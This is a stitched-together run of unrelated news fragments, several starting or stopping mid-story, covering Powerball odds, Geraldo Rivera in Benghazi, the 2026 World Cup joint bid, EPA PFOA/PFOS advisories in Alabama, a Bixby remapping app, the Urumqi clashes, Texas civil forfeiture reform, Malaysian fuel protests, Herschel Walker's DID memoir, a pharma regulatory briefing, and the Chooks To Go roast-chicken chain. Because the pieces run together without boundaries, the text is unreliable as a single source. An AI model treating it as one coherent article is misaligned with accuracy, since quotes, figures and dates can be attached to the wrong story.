“It’s very unlikely,” said Miecznikowski, who doesn't play Powerball himself.
The odds of winning are so small that it’s hard to conceptualize it. A person is more likely to get struck by lightning or bitten by a shark, but Miecznikowski says most people don’t know someone personally who has had either of those things happen.
Picking all the winners in the 64-team NCAA basketball tournament is harder — much harder — than guessing the right Powerball numbers, he said.
Customers wait in line at The Last Stop to buy Powerball lottery tickets Jan. 10, 2016, in White Hills, Ariz. (Photo: AP)
It would be about 1 billion times harder to pick all the winning teams randomly, Miecznikowski said. It would still be 500 times more difficult to fill out a bracket by allowing some strategy, such as knowing that a No. 16 seed hasn’t beaten a No. 1 seed, he said.
Saturday's winning numbers were 16-19-32-34-57 and Powerball number 13. Miecznikowski speculated that one reason for no winner might be the Powerball number 13, which players who chose their own numbers might have avoided as unlucky.
The latest jackpot estimate of $1.3 billion would be twice as large as the previous biggest U.S. lottery prize from March 30, 2012, when Mega Millions paid $656 million for three tickets from Kansas, Illinois and Maryland. The total would also more than double the $590.5 million that Powerball paid May 18, 2013, for one ticket in Florida.
While the $1.3 billion is by far the largest ever up for grabs in North America, Spain's latest elGordo lottery, or "The Fat One," had a prize pool of $2.4 billion prize. But it was awarded to thousands of ticketholders, elGordo's website said. Powerball's riches could go to a single ticketholder.
The huge jackpot is creating an unforeseen advertising problem in several states: many electronic billboards promoting Powerball aren't configured to display billion-dollar prizes, since the phrase "MILLION" is affixed to the signs, the director of the Maryland Lottery and Gaming Control Agency toldThe Baltimore Sun.
A billboard displays the maximum allowable amount for the multistate Powerball lottery jackpot, now the largest in world history, in Decatur, Ga., Jan. 10, 2016. (Photo: EPA)
That issue might have seemed unimaginable last summer as Powerball sales declined due to competition from casinos and instant scratch-off games — as well as a phenomenon industry insiders call "jackpot fatigue," in which players ignore lotteries until the prize grows astronomically.
In October, Powerball officials tweaked the game's "matrix," making it harder to win the grand prize, The Sun reported. The chances of winning the biggest prize shrank from 1 in 175 million to 1 in 292 million. But the odds of winning any prize grew from 1 in 32 to 1 in 25.
Despite the lack of an overall winner, Powerball's Saturday drawing still had nearly $160 million in smaller prizes. Among them were $2 million prizes for tickets sold in Connecticut and Texas. And $1 million tickets were sold in Arizona, California, Connecticut, Florida, Georgia, Iowa, Massachusetts, Maryland, Michigan, New York, Ohio, Pennsylvania, Texas and Virginia.
In Arizona, two tickets paid out $1 million each, said the Arizona State Lottery. In addition to the two millionaires, there was one $150,000 and fifteen $50,000 winners in the state after Saturday night's drawing, The Arizona Republicreported. More than 448,000 Arizona tickets had winning combinations, totaling $4.8 million in cash prizes, lottery officials said.
Powerball is still generating frenzied sales of the $2 tickets for the Wednesday drawing.
Patti McFadden of Fort Myers, Fla., a lottery-playing veteran, said before Saturday's drawing that she visited multiple Powerball sellers to improve her chances.
The whopping jackpot started out Nov. 4 at a mere $40 million. Drawing after drawing, there has been no winner — and the pot, which has rolled over 18 times, has swollen to eye-popping levels. A winner Saturday night would have been a record.
Winners of the top prize are paid in 30 annual installments or as a one-time, lump-sum payment. The lump sum for Wednesday's drawing is estimated at $806 million.
Powerball is played in 44 states as well as the District of Columbia, U.S. Virgin Islands and Puerto Rico.
"It's crazy how big this jackpot is," California Lottery spokesman Alex Traverso told Reuters. "Buckle up: It's going to be a crazy ride between now and Wednesday night."
Contributing: The (Fort Myers, Fla.) News-Press.
Fox News' Geraldo Rivera came under fire in Benghazi, Libya, on Sunday. Watch the video, above.
Speaking after on Fox and Friends, Rivera said, "It was the kind of situation where it evolved kind of a single sniper shot, then we took cover."
"There was a wild exchange. It was like a shoot out between two unruly gangs: the professional [rebel] soldiers, the Gadhafi soldiers. Every time they unleashed their salvos, the rebel irregulars would wildly retreat or fire their weapons," said Rivera.
"It was a wild, wild scene. I was as worried about being shot in the back by the 'good guys' as I was worried about being shot in the front by the bad guys," Rivera went on.
"I swear to god, if you give these people weapons more powerful than they have right now, they will be a grave danger to themselves and others," he continued. "They don't know how to use these weapons. At the first sign of a threat, they let loose their salvos. When you have incoming [fire], the time when real soldiers use training and experience… that is non-existent in the rebel army.
Canada's 10 games are "icing on the cake," said Peter Montopoli, Canada's bid director for the 2026 World Cup bid. And if not for a joint bid, Canada would stand little chance of hosting at all.
Branded "United 2026," Canada, the United States and Mexico are competing against Morocco to host the World Cup that year, and on Saturday, representatives from the three countries updated the media on their progress.
Canada and Mexico will get 10 games apiece, while the United States will host the other 60, a decision based largely on infrastructure, said Sunil Gulati, the chair of the United 2026 board.
"The joint bid is much more compelling than if any one country tried to do it on their own," said Canada Soccer president Steven Reed. "The fact that we're getting 10 matches out of the 80 I think is really exciting for Canadians across the country. The reality is we would have been hard-pressed to go it alone with a 48-country competition, so I think we should be really pleased."
Canada's participation is as much about the buildup to the World Cup, said Montopoli, drawing comparisons to the development of the women's in this country since Canada was awarded the 2015 FIFA Women's World Cup.
"It's about the eight-year runway that we could use to develop the game, develop the men's game, align the men's game, training fields, hosting international matches, there's a whole assortment of things we can do," Montopoli said. "We know how to do that, we've done that for the women's game, that was the runway we had up until 2015. We aligned a complete program, we have our players playing in top leagues around the world, producing some of the best players. We think we can do that on the men's side, but we need an eight-year runway.
"It's building that cake for us to get to 2026."
Including the 2015 women's event, the three countries have hosted 13 FIFA events between them. Mexico has hosted two World Cups, and the 1994 World Cup in the United States remains the most attended tournament in FIFA's history.
Canada also hosted the U20 women's World Cup in 2002, and the men's U20 World Cup in 2007, both of which set attendance records at the time.
"We believe that between the size of the stadiums which obviously impacts attendance, the level of hospitality available, which affects revenue, and the commercial opportunities that are available to FIFA, this will be by far the most successful financial World Cup," said Sunil Gulati, president of the U.S. Soccer Federation. "It's probably a pretty good time for that to happen for FIFA."
Gulati added that, considering the current political climate in North America, the joint bid comes at an important time.
"An important part of what we're doing has got very little to do with the sport frankly. It's a lot to do with the countries," Gulati said. "Given what's going on in the world and has been going on in the world . . . we've always had a very special relationship with these two federations (Canada and Mexico) in so many different ways.
"There's some ongoing discussions that everyone is familiar with about that," he added, in reference to NAFTA. "So the message that hopefully this sends about relationships and international relationships is extraordinarily important."
The United 2026 presentation came the morning of Toronto hosting the MLS Cup Final between TFC and the Seattle Sounders, and included a glitzy video that spoke of the "biggest pilgrimage of sports fans on earth."
There were some humorous moments. Gulati talked about the good-natured negotiations between the three countries and recounted an informal conversation with someone from Televisa, which owns Mexico's Estadio Azteca. The Televisa individual wanted a guarantee Azteca would host the opening game, to which Gulati responded that he couldn't guarantee that.
"I said 'I'll tell you what, why don't we (the U.S.) pull out, you and Canada do it. But you can't use American air space during the event,'" Gulati said, to much laughter.
The synthetic chemicals, known as PFOS and PFOA, were used to manufacture non-stick cookware, stain-resistant products like Scotchgard, fire-fighting foam, waterproof clothing and other consumer products. The two compounds are widespread throughout the environment and even in humans. They do not break down naturally and concentrations of the substances can build up in people and animals over time.
According to the EPA, scientists have found PFOS and PFOA in the blood of "nearly all the people they tested," but in low concentrations.
The new advisories warn that if the chemicals are consumed in drinking water for a prolonged period, certain health problems are more likely. The EPA's previous advisory level was based on short-term exposure. The new guidelines reflect what EPA says is emerging science that lower concentrations can have long-term impacts.
According to the latest EPA data, 13 water systems nationwide showed levels of PFOA above the new 70 parts per trillion threshold and 46 showed elevated levels of PFOS. In water supplies where both chemicals are found, EPA counts the combined amount of both chemicals.
The eight affected facilities in Alabama are:
West Morgan-East Lawrence Water Authority
Gadsden Water Works & Sewer Board
Centre Sewer Board
V.A.W. (Vinemont Anon West Point) Water Systems, Inc.
West Lawrence Water Co-op
Northeast Alabama Water District (in Fort Payne)
Southside Water Works and Sewer Board (in Gadsden)
The Utilities Board of Rainbow City
According to a news release from the Alabama Department of Environmental Management, typical sources of PFOS and PFOA in drinking water are facilities that manufactured those compounds and industries that used those compounds in their manufacturing processes.
The 3M manufacturing facility in Decatur was a major producer of both substances until the company voluntarily phased out production of both chemicals in 2002. In 2006, EPA requested that eight other manufacturers phase out PFOA production by 2015, which the companies say they have done.
However, many believe that the chemicals are still leaching into the Tennessee River, and eventually Wheeler Reservoir even though the active production has stopped.
The West Morgan-East Lawrence Water Authority filed a federal lawsuit last year against 3M, alleging that the company discharged the chemicals which they said "are not effectively treated by conventional wastewater treatment plant processes," upstream from their intake on Wheeler Reservoir.
Non-profit environmental group Tennessee Riverkeeper has also filed a notice of intent to sue 3M and others over PFOA and PFOS contamination of the river, saying that runoff from landfills containing high levels of PFOA and PFOS is entering the river and the groundwater.
"We applaud the EPA for issuing these long anticipated PFOA/PFOS health advisories," said Mark Martin, attorney for Tennessee Riverkeeper. "This will allow regulators to set enforceable limits for these dangerous chemicals to protect human health and the environment.
"This is a significant step toward the goal of, at long last, eliminating these poisons from the environment."
To remove the substances from drinking water, EPA recommends using activated carbon filtering or high pressure membrane systems (e.g., reverse osmosis), which are not standard methods of water treatment.
3M has said that the health claims in these lawsuits are overblown.
"3M's activities in connection with these materials were not only fully permitted but entirely appropriate," William Brewer III, partner in a Dallas-based law firm that represents 3M in those law suits, said via email. "In any event, the claims against 3M are based upon the mistaken belief that the mere presence of these chemicals equals harm.
"3M believes the claims lack merit. There has been no harm to plaintiffs' property or human health due to the mere environmental presence of these materials."
PFOA stands for perfluorooctanoic acid. PFOS is short for perfluorooctyl sulfonate.
According to an EPA publication on PFOA and PFOS, potential health effects of long-term exposure could include "developmental effects to fetuses during pregnancy or to breastfed infants (e.g., low birth weight, accelerated puberty, skeletal variations), cancer (e.g., testicular, kidney), liver effects (e.g., tissue damage), immune effects (e.g., antibody production and immunity), thyroid effects and other effects (e.g., cholesterol changes)."
The new health advisories are not an enforceable standard or regulation, but are meant as guidelines for drinking water system operators.
In Alabama, ADEM said it would be working with the Alabama Department of Public Health and the affected water systems to help bring their drinking water within the new guidelines.
"While any health advisory is understandably a cause for concern, citizens can be assured ADEM has and will continue to provide technical assistance to any affected water system to implement measures that address the EPA health advisory and any health recommendations determined by ADPH," ADEM said in a news release.
Brewer said that the new advisories did not mandate any action on the part of 3M since those compounds are no longer being manufactured.
Bennett notes that the app was cobbled together in “20 minutes,” and is meant to serve more as a proof of concept in its current stage, but it does more or less work. There are a couple of caveats to the hack, however. The biggest is that the entire thing is a bit sloppy, with the remapped button still launching Bixby first before then routing you to your desired app. Additionally, BixRemap needs access to usage tracking permissions to function, which is a fairly large amount of data that you’re giving the app. (It’s likely that any Bixby remapping app would need similar access.) Lastly, BixRemap puts a persistent notification in the notification tray when active, although the app does seem to still work if you disable the notification manually.
Still, for any Galaxy S8 owners who would prefer to get more utility out of the extra hardware button and are frustrated by Samsung’s firmware update blocking earlier Bixby hacks, BixRemap could serve as some form of relief, even if it’s execution is still a bit sloppy.
New protests have flared in the western Chinese city of Urumqi, two days after more than 150 people died in clashes involving ethnic groups and police. About 200 ethnic Uighurs, who are a Muslim minority, faced off against police to protest over the arrest of 1,434 people over Sunday's unrest. Groups of ethnic Han Chinese have now armed themselves with batons and stones and have gathered in Urumqi. Beijing and the Uighurs blame each other for the outbreak of violence. Witnesses to Sunday's protests said Uighur protesters attacked vehicles before turning on local Han Chinese. The unrest was apparently sparked by a brawl between Uighurs and Han Chinese several weeks earlier in a toy factory thousands of miles away in Guandong province. Officials say 156 people - mostly ethnic Han Chinese - died in Sunday's violence and more than 1,000 were injured. Uighur groups say many more have died, claiming 90% of the dead were Uighurs. State-run news agency Xinhua also reported a protest in another part of Xinjiang province on Monday, with police breaking up a 200-strong demonstration near a mosque in the city of Kashgar. 'Extraordinary defiance' The BBC's Quentin Sommerville, on the streets of Urumqi, says at least 200 people - mostly elderly women or women with children - took to the streets, complaining that their relatives had been arbitrarily arrested. AT THE SCENE Quentin Sommerville, Urumqi
Hundreds of people, mainly women, have come into the streets. They are screaming and shouting, "Give us our freedom, give us back our men."
The police are running at a trot with batons and shields. The Uighur men and women are standing their ground. Some are beginning to disperse. This is a city where the Chinese authorities say they have regained control, but the scenes going on around me tell an entirely different story. Foreign journalists witnessed the protest during a tour led by government officials showing them parts of the city where shops and homes had been destroyed in Sunday's violence. Map showing main area of protests Our correspondent says it was an extraordinary act of defiance by the protesters. He says riot police - armed with rifles and tear gas - charged the women and surrounded them. But they sat on the ground in defiance of orders from officers to disperse. He says the protesters finally began leaving as the journalists were ushered away from the area. But policemen were waiting in the side streets, he said, and it was unclear what had happened to the women. Later, in what seems to be a counter-protest, Han Chinese people gathered in various parts of the city. Reports say riot police dispersed them with tear gas. Buses 'torn apart' The mass arrests have been going on since Sunday's clashes. Reports are surfacing that police have been going from house to house, rounding up young men for questioning. UIGHURS AND XINJIANG Xinjiang population is 45% Uighur, 40% Han Chinese Uighurs are ethnically Turkic Muslims China re-established control in 1949 after crushing short-lived state of East Turkestan Since then, large-scale immigration of Han Chinese Sporadic violence since 1991 Attack on 4 Aug 2008 near Kashgar kills 16 Chinese policemen
In pictures: Xinjiang protests Q&A: China and the Uighurs China tells its own story Accounts of Xinjiang violence The Chinese authorities say they have arrested the "ringleaders" of the protests, but that they are still seeking others. Witnesses said Uighur protesters tore apart buses and cars with their bare hands on Sunday, and then turned on the local Han Chinese in what appears to have been an ethnic attack. Some Chinese were dragged from the windows of buses while others were beaten in their homes. Many of the injured - Uighur, Han and some from another ethnic group, the Hui - are still being treated in Urumqi's hospitals. Demonstrators said they had been demanding justice for two Uighurs killed last month in a fight with ethnic Han Chinese at a factory in south-eastern China. Officials say 15 people have now been arrested over the Guandong incident. There has been widespread international concern at the clashes, which some analysts say are the most serious in China since Tiananmen Square in 1989. UN Secretary General Ban Ki-moon led the calls for restraint, a sentiment echoed by Britain and the US.
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Konni Burton, R-Colleyville, has her name on the most comprehensive of the lot. Senate Bill 380 was pre-filed on Dec. 20 and would reform asset forfeiture laws to prohibit the state of Texas from taking an individual's property without a criminal conviction, in most cases.
Texas' modern civil forfeiture law passed in 1989 as a weapon in the war on drugs and allows law enforcement to side-step due process by bringing legal action against inanimate objects, and thus, taking them away from someone who is probably/maybe a criminal. It's the legal phenomenon that has given rise to civil cases with names like State of Texas vs. One 2005 Chevrolet Pickup, State of Texas vs. 12 Gold Coins and United States of America vs. One Tyrannosaurus Bataar Skeleton.
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Burton's bill aims to make sure the possessors of that property, or cash in many cases, are actually criminals and the property related to actual crime before the cops have the right to seize it. It's a concept that analysts at the state and national level say is gaining steam among folks from all political walks, but you wouldn't know it to look at Texas' last legislative session.
Konni Burton Konni Burton via Facebook
Both Burton in the state Senate (SB 1683) and former state Rep. David Simpson, R-Longview, submitted similar bills last session that did not make it out of committee.
"The legislation we've seen filed already [for the 2017 Texas legislative session] points to a general consensus across the entire political spectrum, realizing this is an issue that needs fixing," said Derek Cohen, a policy analyst for the Texas Public Policy Foundation. He told the Observer for a 2015 story on the same subject that such seizures lie "somewhere between good people reacting to bad incentives and the Sheriff of Nottingham shaking you down."
Predictably, opposition to such bills comes mainly from law enforcement agencies that seize cash and stand to gain from the sale of seized property. Burton's SB 380 would also prohibit state and local law enforcement agencies from directly receiving proceeds from forfeited property, working against what stands now as a perceived incentive for officers and agents to "police for profit" under the current law.
Under SB 380, proceeds from seizures would go to the county treasurer.
The Institute for Justice, a Virginia-based nonprofit group that pushes for criminal justice reform, gives Texas a D+ for its civil forfeiture laws. From 2001 to 2013, numbers from the Institute's public information requests say Texas law enforcement agencies took in an average of $41.5 million per year through civil forfeiture.
Despite the opposition, Cohen said Burton's bill has a good shot to make it through the always-choppy waters of the Texas Legislature and get passed into law this time around. Public education on the subject in recent years has been key to amplifying the voices calling for reform.
"One of the issues with perpetuation of civil forfeiture is simply that not many people know about it or are able to parse out what it really means," Cohen said.
If Texas moves forward on this issue in 2017, it would be following the lead of New Mexico, Nebraska and more recently California, which have all either banned outright or severely limited the practice. Seventeen states have in recent years passed some measure of civil asset forfeiture reform.
However, the BN’s recent decision to lift petrol prices by 41% (and diesel by 63%) has galvanised a new round of mass protests. Thousands took to the streets in Kuala Lumpur after prayers at the mosque on June 13 demanding that prices be lowered and a much larger rally is being planned for July 6.
Link’s Peter Boyle spoke on June 19 with S.Arutchelvan, the secretary-general of the Socialist Party of Malaysia (PSM), about the recent developments. After a 10-year battle for registration as a legal party, the PSM has just been promised recognition by the embattled government. This follows the PSM winning two seats in the March elections.
June 13 fuel hike protests
The opposition People’s Front says it is building a million-strong march against the recent fuel price hike for July 6. That would make it the biggest demonstration ever in Malaysia.
If we can get 1 million in the streets of Kuala Lumpur then I believe we are ready to take over the government. I think 1 million is not realistic, at this stage, for a country with a population of around 25 million. I think if we can get 100,000 people, that would be a big achievement.
How is the July 6 demonstration being built?
Currently there are many small demonstrations, many road shows and talks going on where in all these events, the date July 5 is being repeated. The police are warning the public not to participate. We look at this as additional publicity for the event.
How is the fuel price hike affecting people?
This is the talk in every corner, every coffee shop. People have been grumbling. The government has gone on a huge propaganda campaign in the mainstream media to justify their decision, but people are not buying their argument. Prices of all goods have gone up. The government has failed to control these prices and even traders are not listening to the government any more.
What is the People’s Front position on the current fuel and food price hikes?
They charge that the government is weak and not able to handle the crisis. They feel that as Malaysia is a petroleum-producer (with the state-owned oil company, Petronas, with a monopoly) the people should not be burdened by a reduction in the fuel subsidy. They compare Malaysia with other oil producing nations that still have lower fuel prices.
They charge that there is mismanagement and wastage. They also say that the federal government is punishing the people for giving the opposition a huge mandate in the last election.
What is the PSM’s position on the fuel and food price rises?
The fuel hike is a declaration of war against the people. Only when the people own their oil, can it be put to good use. Venezuela is a country which charges only 16 sen per litre and the revenue for oil is used by the Venezuelan state to give free education and health care, besides helping poor neighbouring nations.
This was only possible when a revolutionary government under the leadership of Hugo Chavez with people power took over the petrol company and brought it under government control. Petronas is nationalised but not under the control of the people.
It is outrageous that the government hiked the fuel price when Petronas reported US$13.3 billion profit in the 12 months to March 2007 and US$12.9 billion in the following six months to September 2007.
The government’s promise to give rebates to consumers is a further insult to our intelligence. The PM said further that the money saved will be used to offset the world food crisis. This was the same promise given when the government came out with the previous fuel hike. Then, we were taken for a ride and told the money will be used to improve the public transportation system.
PSM supports any move to mobilise people power to remedy this situation. We call upon all political parties and people’s movements to rise up to demand and reclaim what is ours. Waiting in queues is not going to bring about political change.
What solution is the People’s Front demanding? Do all the opposition parties have the same position?
The Parti Islam (PAS) and the Parti Keadilan Rakyat (PKR) argue that oil prices can be brought down because of the huge Petronas profits. They say they have a mechanism to handle this, but it has yet to be made public. The Democratic Action Party (DAP) position is more that the fuel hike is too big and maybe it should have been done in stages.
Has the PSM joined the People’s Front?
No, we will work on a minimum program and support the welfare state manifesto put forward by the PAS and the PKR for the election.
We plan to push for the implementation of this manifesto, which includes the demands: a decent minimum wage; free health and education; decent homes for everyone; and abolish draconian laws, such as the notorious Internal Security Act.
Have there been defections of government MPs to the People’s Front? Is the BN government on the verge of falling?
There are not yet any defections, but there is speculation. PKR leader Anwar Ibrahim and his party has been continuously making statements that they have the numbers to form an alternative government, and a small opposition party is threatening to move a motion of no-confidence in parliament next week.
Recently the PSM’s first federal MP set up a People’s Consultative Council in his electorate. Can you explain the role of this new institution and the response?
Basically this is the de-facto local government because elected local governments have been suspended since 1964. The PSM builds people’s committees in every housing estate, village and community, workplace etc. All the representatives attend a meeting where they decide what kind of development they want and how to manage it.
It's taken him nearly 10 years to get to this point.
The very idea of a personality disorder evokes images of someone who's severely disturbed and unable to function in life. You don't associate such a shattering condition with a College Football Hall of Famer/great NFL running back/Heisman Trophy winner/Olympian bobsledder/successful businessman. Which is kind of the point, Walker says, and the reason he wrote a book about it, "Breaking Free: My Life With Dissociative Identity Disorder." He says he plans to use the proceeds to open a series of DID treatment centers around the country.
"These are the skeletons in my life," says the 46-year-old former pro athlete, who was in town yesterday to accept an award from the Substance Abuse and Mental Health Services Administration, a federal public health agency. "I didn't have to bring this to the forefront. But if I didn't, I would be a liar.
"I'm doing this to help someone."
For years, Walker says, DID served as a coping mechanism. And for a long time, he says, he coped very well. It helped him, as a stuttering, overweight kid, to survive the playground bullies who beat him. It helped him conquer his crippling fear of the dark. It helped him, he says, to stifle the memories of the Ku Klux Klan staging mock lynchings in his home town of Wrightsville, Ga.
And it kept him playing football, from high school to the University of Georgia to the NCAA championships to a pro career with teams including the Dallas Cowboys, Philadelphia Eagles, New York Giants and Minnesota Vikings. Herschel the football player, Walker now says, was one of his many "alters" -- or alter egos. He figures that he had about 12 in all. Among them, he says, were "the Judge," "the Speaker," "the Consoler," "the Ballet Dancer." (Walker, in fact, studied ballet in college and performed for a week with the Fort Worth Ballet.)
"He adapted very well. Football helped him survive," said Walker's psychologist, Jerry Mungadze, who accompanied his patient yesterday. "When you took away the football, that undid him. It became very chaotic."
In an age of pro-baller and shot-caller excesses, Walker, widely regarded as one of the greatest college players, had a squeaky-clean reputation: married to Cindy, his college sweetheart; born-again Christian; teetotaler. He'd always been a laid-back guy, and suddenly, he says, he was consumed with rage. It was around 2001. He didn't recognize himself, he says, and did "terrible things," such as playing Russian roulette with a Smith & Wesson because his competitive "alter" really liked upping the ante, and the life/death dichotomy was the "ultimate game."
Then he started holding a gun to his wife's head, he says, threatening her life. "I never hit her. But the threats and putting the gun to her head? That's abuse. Total abuse." (The couple divorced in 2003, something he says still causes him misery. She has since remarried.)
He prayed, a lot, and he says that the prayers protected him from crossing the line into physical violence. In the office, he says, he could wheel and deal with his businesses and be perfectly fine. Once he got home, he was scared of what he would do. He turned to his minister, who offered to perform an exorcism, convinced that a demon was responsible for his troubles.
Welcome to Regulatory Reconnaissance, your daily regulatory news and intelligence briefing.
This fall, regulatory professionals from across the globe will come together to learn, connect and share at the Regulatory Affairs Professionals Society’s 2014 RAPS: The Regulatory Convergence, 27 September-1 October, Austin, TX. Register here.
In Focus: US
In Focus: International
EU OK for Allergan's Ozurdex in diabetic eye condition (Pharma Times) (PMLive)
Medtronic Announces CE Mark for Recapturable CoreValve Evolut R System (Press)
Indian Health ministry to set up expert panel to re-examine issue of allowing trial in hospitals with less than 50 beds (PharmaBiz)
Indian pharmaceutical excipients cos get together to form IPEC India (PharmaBiz)
China Authorities Nab Gang That Produced 90 Million Toxic Capsules (PharmAsia-$)
US: Pharmaceuticals and Biotechnology
US: Pharmaceuticals and Biotechnology: Clinical Study Results, Filings and Designations
Final trial confirms efficacy of Sanofi's dengue vaccine (Reuters) (Bloomberg)
Actinium Files Orphan Drug Application for Use of Actimab-A in the Treatment of Newly Diagnosed Acute Myeloid Leukemia in Elderly Patients (Press)
Birken to file wound healing drug on positive PhIII data (SCRIP-$)
Teva finds positive results in advanced trials for asthma drug (Reuters)
BMS' Eliquis Effective in Reducing All-Cause Hospitalization in Phase 3 Trial (MPR)
Stable CAD study shows no benefit with ivabradine (BioCentury) (Fierce)
US: Pharmaceuticals and Biotechnology: General
22nd BioCentury Back to School Issue: Time to try new pricing schemes (BioCentury)
BARDA adds $17m to Chimerix smallpox contract (SCRIP-$)
New Genzyme pill will cost patients $310,250 a year (Boston Globe)
Targeted therapies left out of ASCO breast cancer guideline for now (SCRIP-$)
US: Medical Devices
US: Dietary Supplements
Hi-Tech Execs Ordered To Jail For Contempt Of Recall Order (Law 360-$)
Vitamin Shoppe Sued Over Supplement False Labeling (Law 360-$)
US: Assorted And Government
FDA's Regulatory Office Looking to Hire New Director of Partnerships (FDA)
New FDA Guidances for August 2014 (Ask Cato)
Upcoming Meetings
Ebola Outbreak
HHS awards $24.9M to Mapp (BioCentury) (SCRIP-$) (WSJ-$)
Europe
EU OK for Allergan's Ozurdex in diabetic eye condition (Pharma Times) (PMLive)
NICE: Cancer Drugs Fund must use our processes (Pharmafile) (Pharma Times)
Amgen submits evolocumab MAA (BioCentury) (SCRIP-$)
Amgen submits talimogene MAA (BioCentury) (Press) (Fierce) (SCRIP-$)
Medtronic Announces CE Mark for Recapturable CoreValve Evolut R System (Press)
Ranier’s unique material Anatom-C Fusion cage receives CE mark (OrthoSpineNews)
Gangsters imported fake drugs from Asia says Europol (In-Pharma) (Fierce)
Is your auditor who they say they are? Preparing for unannounced audits - and unwanted visitors (Clinica-$)
Be ready for EU packaging safety regulations (PharmaPhorum)
NICE calls on pharmacists to check patients’ drug allergy status (PJO) (Pharma Times)
Cerenis Receives EMA Orphan Drug Designations for CER-001 for the Treatment of ApoA-I and ABCA-1 Deficiencies (Press)
India
Health ministry to set up expert panel to re-examine issue of allowing trial in hospitals with less than 50 beds (PharmaBiz)
Indian pharmaceutical excipients cos get together to form IPEC India (PharmaBiz)
DICs need to be effective to generate awareness about ADRs among patients to avoid tragedies: Experts (PharmaBiz)
India, Japan Meeting Fails To Remove Pharma Barriers (PharmAsia-$)
China
China Authorities Nab Gang That Produced 90 Million Toxic Capsules (PharmAsia-$)
CFDA Clears NovaBay’s NeutroPhase Skin and Wound Cleanser for Sale (Press)
Australia
Questions and answers about the registration process for prescription medicines in Australia (TGA)
Other International
Intl civil society groups call upon ICDRA participants to ensure access to affordable biotherapeutic products (PharmaBiz)
Clinical Trials
TransCelerate recommends what to protect in trial transparency efforts (In-Pharma)
Fantasy Video Game Teaches Kids About Clinical Trials (Press)
General Regulatory And Interesting Articles
Ensuring the Quality of Synthetic Peptides (USP)
Harvard researchers invent a 50-cent test for sickle cell disease in the developing world (MedCity News)
Regulatory Reconnaissance #391 – 3 September 2014
Regulatory Reconnaissance is our daily intelligence briefing for the regulatory affairs space, bringing you the top regulatory news stories from around the globe. Each weekday morning, we aim to bring you the latest highlights of new approvals, meetings, legal and political developments, regulations and guidance, and the latest trends with the potential to impact regulatory affairs professionals and the industry in which they work.
Need to contact the editor of Regulatory Reconnaissance? Find him on Twitter at @AlecGaffney or send him an email at news@raps.org.
Published 2:24 PM, May 06, 2017
MANILA, Philippines– Along narrow city streets, bright signs of food kiosks call out to the hungry. But between the wide selection of food choices, Chooks-To-Go, Uling Roasters, and Reyal offer a Filipino favorite: lechon manok (roast chicken).
Though unassuming in appearance, when put together, these 3 kiosk brands make up Bounty Agro Venture Incorporated (BAVI)’s P10-billion business as of 2015.
Selling nearly 200 million chicken products yearly, BAVI feeds the monster Filipino appetite for lechon manok, growing a business with a turnover that eclipses the P8.5 billion of GMA Network, the country's 2nd biggest broadcast group.
BAVI was not an overnight success. While a chicken egg takes about 21 days to hatch, BAVI took 15 years.
Chooks to Go: born from defense
BAVI is one of the Philippines’ largest poultry integrators, and caters to the Bountry Fresh group of companies, which, in turn, operates a network of rotisseries under the brands Chooks To Go, Uling Roasters, and Reyal. BAVI is also in the business of producing commodity chicken products – supplying dressed chicken to supermarkets, wet markets, restaurants, hotels, and its company-owned retail stores nationwide.
Founded in the 1980s by businessman Tennyson Chen, the company started operations in Sta Maria, Bulacan, with a layer farm of merely 5,000 chickens.
It was in 2002 when Chen wanted to take the company to its next level.
Seeking to professionalize and scale up the business, Chen hired Ronald Mascariñas, then president of Smokey’s, San Miguel PureFood's fast-food brand selling a variety of hotdog products, and Senior Vice President of San Miguel PureFood’s Poultry and Food Service businesses.
Mascariñas built a team, most of them trusted colleagues from his previous roles, who then leveraged on their vast network of industry players. From this, BAVI’s nationwide poultry integration operations was born.
To accelerate growth and nationwide reach, BAVI engaged third party investors to build and operate a network of poultry farms, processing, and delivery operations, which follow company standards.
Over time, this nationwide network of contract farms and operations grew. BAVI currently produces dressed chicken, feeds, and finished chicken products for their retail stores, with 7 plant operations in Luzon, 8 in Visayas, and 4 in Mindanao.
Stable sales of commodity products, however, was short-lived.
Crisis came in the late 1990s as the ASEAN free-trade agreement rolled out and threatened BAVI’s commodity business. Bigger poultry producers in the region could offer the same products at a lower price.
“When we looked at our numbers compared to ASEAN, specifically Thailand because they are the biggest poultry producers in the region, we were scared,” Mascariñas said in an exclusive interview with Rappler.
For Mascariñas, the concern was on customer loyalty. “We thought of the logic: Why would supermarkets and outlets buy from us if they can buy it cheaper? Say the cheap poultry chicken from Thailand comes in, will our customers be loyal to us? They will not be. They will buy wherever the cheapest (product) is. Their loyalty is to the price.”
For the business to survive, BAVI decided the only option was to venture one step further. Instead of selling to customers who would cook these raw chicken products, or wholesale buyers who would sell these as ready-to-serve chicken products, BAVI decided to cut the gap and draw closer to end-buyers.
Out of defense, Chooks to Go was born.
“When competition disturbs our company’s direction, it challenges us to search for other opportunities to strengthen our position in the industry. The imminent challenge of cheaper chicken supply from competing imports with the implementation of the ASEAN Free Trade Area (AFTA) Agreement gave birth to Chooks to Go,” said Chen in a 2014 interview with marketing expert Josiah Go.
“That was a very clear direction: If we want to sustain employment for all of us, then we need to put up our retail stores,” said Mascariñas.
Winning recipe
Although the direction towards retail was clear, turning it into a reality was another battle.
Setting up a retail segment was an idea tried by the likes of San Miguel Pure Foods, Swift Foods Incorporated, and Universal Robina Corporation – national giants in the meat and poultry industry, but to no avail.
How, then, is a P10-billion business born? For BAVI, success came from an 80% failure rate.
At present, Chooks To Go is the market leader in roast chicken products with a network of over 1,000 stores nationwide. Competing with other lechon manok brands such as Andoks, Sr Pedro, and Baliwag, the company further distinguishes itself as the only brand to offer cooked chicken products without an accompanying sauce – something rarely offered by other food retailers in the Philippines.
BAVI’s retail business contributes to about 55% of the company’s total revenue. Mascariñas added that the company expects the number to go even higher this year, confident that sales will contibute to about 70% of total revenue by the end of the year.
But in its pilot phase, BAVI’s retail business was nothing short of a failure.
Setting up an initial 10 Chooks To Go test stores in Visayas, 8 of its stores sold no more than 10 heads a day. “At that time, the results were clear. There were daily reports that would come in. Weekly reports, monthly reports, and then a final summary after two months – there was an 80% failure rate. It seemed Filipinos did not want oven-roasted (chicken),” said Mascariñas.
With the seeming imminent end of the company’s proposed retail segment, Mascariñas decided to visit the stores a final time before closure. Witnessing slow sales came as no surprise. However, two of the company’s test stores in Ormoc and Tacloban offered what Mascriñas could only describe as overwhelming success.
